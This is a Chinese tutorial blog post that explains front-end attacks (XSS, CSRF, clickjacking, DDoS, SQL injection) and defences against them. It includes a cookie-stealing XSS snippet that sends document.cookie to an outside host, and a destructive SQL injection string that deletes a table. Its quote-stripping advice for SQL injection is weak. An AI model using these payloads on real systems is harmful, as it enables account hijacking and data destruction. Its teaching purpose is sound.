前端攻击手段有哪些该如何预防?
前端开发中,常有一些场景如果不加以限制,很可能被攻击,造成网站崩溃,用户信息泄露,损失用户。只有网站本身具有高安全性,才能更好的抵挡各种复杂的攻击,这就要求开发者开发时遵循一定的安全规范了。这里介绍一些前端常见的攻击方式和预防手段。
1. XSS
Cross Site Scripting 跨站点脚本攻击。它的特点是尽一起办法在目标网站上执行非目标网站上原有的脚本。
- 手段:黑客将 JS 代码插入到网页内容中,渲染时执行 JS 代码。
- 预防:特殊字符替换。
在网站上动态渲染任意 HTML 是非常危险的,因为容易导致 XSS 攻击。确保将特殊字符进行转换。
如下例子:
let img = document.createElement("image");
img.src = 'https://host/api?cookie' + document.cookie;
img 元素一旦附上 src 属性就会发送 HTTP 请求,这时候就把本网站的 Cookie 传到了黑客自己的服务器了,就可以控制用户在被攻击网站上的账号权限了。
预防就是将特殊符号替换,比如将 >
替换成 >
,<
替换成 <
,这样 <script>
标签里面的危险代码就不会执行了。
Vue、Angular 中插值表达式({{}})和 React 中变量({}),默认屏蔽了 XSS 攻击,即便在里面写脚本也不会发生 XSS 攻击。除了这几种情况:
- 在 Vue
v-html
中使用脚本 - 在 React
dangerouslySetInnerHTML
属性中使用脚本 - 在 Angular
InnerHTML
中使用脚本
1.1 更安全的使用 Cookie
- 给 Cookie 设置 HttpOnly
在很多网站中,Cookie 是用来持久化在网站中的登录的。如果取得了 Cookie,就可以劫持用户在网站中的权限。 XSS 攻击其中一个目标就是取得 Cookie 信息,这也是 Cookie 泄露的最主要手段之一。避免这种泄露的有效方式就是设置 Cookie 在客户端不可编辑,即禁止 JavaScript 操作 Cookie,将 Cookie 设置为 HttpOnly。这样 XSS 攻击就不能通过 JavaScript 获取 Cookie 了。
- 给 Cookie 设置 Secure
设置了 Secure 的 Cookie 只能在浏览器使用 HTTPS 协议的请求时被发送到服务器端。如果 Cookie 中包含敏感信息,这种设置非常有用。
2. CSRF
Cross Site Request Forgery 跨站请求伪造。这个请求并不是来自于用户的意愿,而是伪造的请求,诱导用户发起的请求。
- 手段:黑客诱导用户去访问另一个网站的接口,伪造请求。
- 预防:严格的跨域限制,加验证码机制。
2.1. CSRF 详细过程
- 用户登录了 A 网站,有了 Cookie。
- 黑客诱导用户进入了 B 网站,并发起了 A 网站的请求。
- A 网站的用户发现 API 有 Cookie,认为是用户自己操作的。
2.2. 预防手段
- 严格的跨域请求限制,如 referrer (请求来源) 。
- 为 Cookie 设置 SameSite, 禁止跨域传递 Cookie。
- 关键接口加上短信验证码。
3. 点击劫持
Click Jacking 点击劫持。特点是利用视觉欺骗,诱导用户操作。
- 手段:界面上蒙一个透明的 iframe,诱导用户点击。
- 预防:让 iframe 不能跨域加载。
诱导用户点击的按钮不是用户自己希望实现的操作,比如诱导分享、点赞、关注、购买。
3.1. 预防手段
- 让 iframe 不能够跨域访问
判断 top.location.hostname (iframe 嵌入的那个网站的域名)和 self.location.hostname (iframe 自己的域名)不一致时可以给出可能不安全的提示,用户确认安全的情况下再操作。
- 在响应头中加上 X-Frame-Options: sameorigin
表示允许相同域嵌入此页面(X-Frame-Options: deny 表示禁止内嵌此页面)。
- 防止网页被其他网站内嵌为 iframe
首先在页面中添加如下样式:
<style id="antiClickJack">body{display: none;}</style>
然后添加类似如下的脚本:
<script>
if (self === top) {
let antiClickJack = document.getElementById("antiClickJack");
antiClickJack.parentNode.removeChild(antiClickJack);
} else {
top.location = self.location;
}
</script>
上面代码首先设置了整个页面不可见,随后检测页面是否被内嵌。如果没有被内嵌,则移除设置页面不可见的样式,否则把顶层页面的地址设置为内嵌页面的地址,从而阻止了页面的内嵌。
4. DDos
Distribute denial-of-service 分布式拒绝服务。
- 手段:分布式、大规模的流量访问,使服务器瘫痪。
- 预防:软件层不好做,需要硬件预防。
比如黑客散播了一个病毒程序,植入很多人的手机,使这些人的手机同时去访问某一网站,致使服务瘫痪。
可以通过硬件手段,比如使用阿里云的 WAF(web application firewall),用于防注入和控制机器人流量。
5. SQL 注入
- 手段:黑客提交内容时写入 SQL 语句,破环数据库。
- 预防:避免传输特殊字符,处理特殊字符,替换特殊字符。
SQL 注入虽然是后端处理的安全问题,但是问题出自前端,是因为用户输入了特殊字符,和前端也有关系。
5.1. 避免传输特殊字符
用户输入给了攻击者可乘之机,在输入的时候添加必要的校验和过滤即可。具体就是针对用户输入进行 HTML 编码、HTML 标签属性编码、JavaScript 编码、URL 编码。比如使用函数 encodeURL
对 RRL 编码。
5.2. 替换特殊字符
比如 SQL 语句,用于查询一个用户:
select * from users where username='zhangsan' and pword='123'
假设前端提交的用户名不是正常的字符,而是 SQL 语句,比如:
'; delete from users; --
则上面的查询语句变为:
select * from users where username=''; delete from users; --' and pword='123'
这就变成了三条 SQL 语句,第一条查询所有用户名为空的用户,第二条删除 users 表,第三条后面的语句被注释了。
将上面单引号删掉,--
删掉,就变成:select * from users where username='; delete from users; ' and pword='123'
,查询的用户名是:; delete from users;
虽然查不到这样的用户,但不会有安全问题。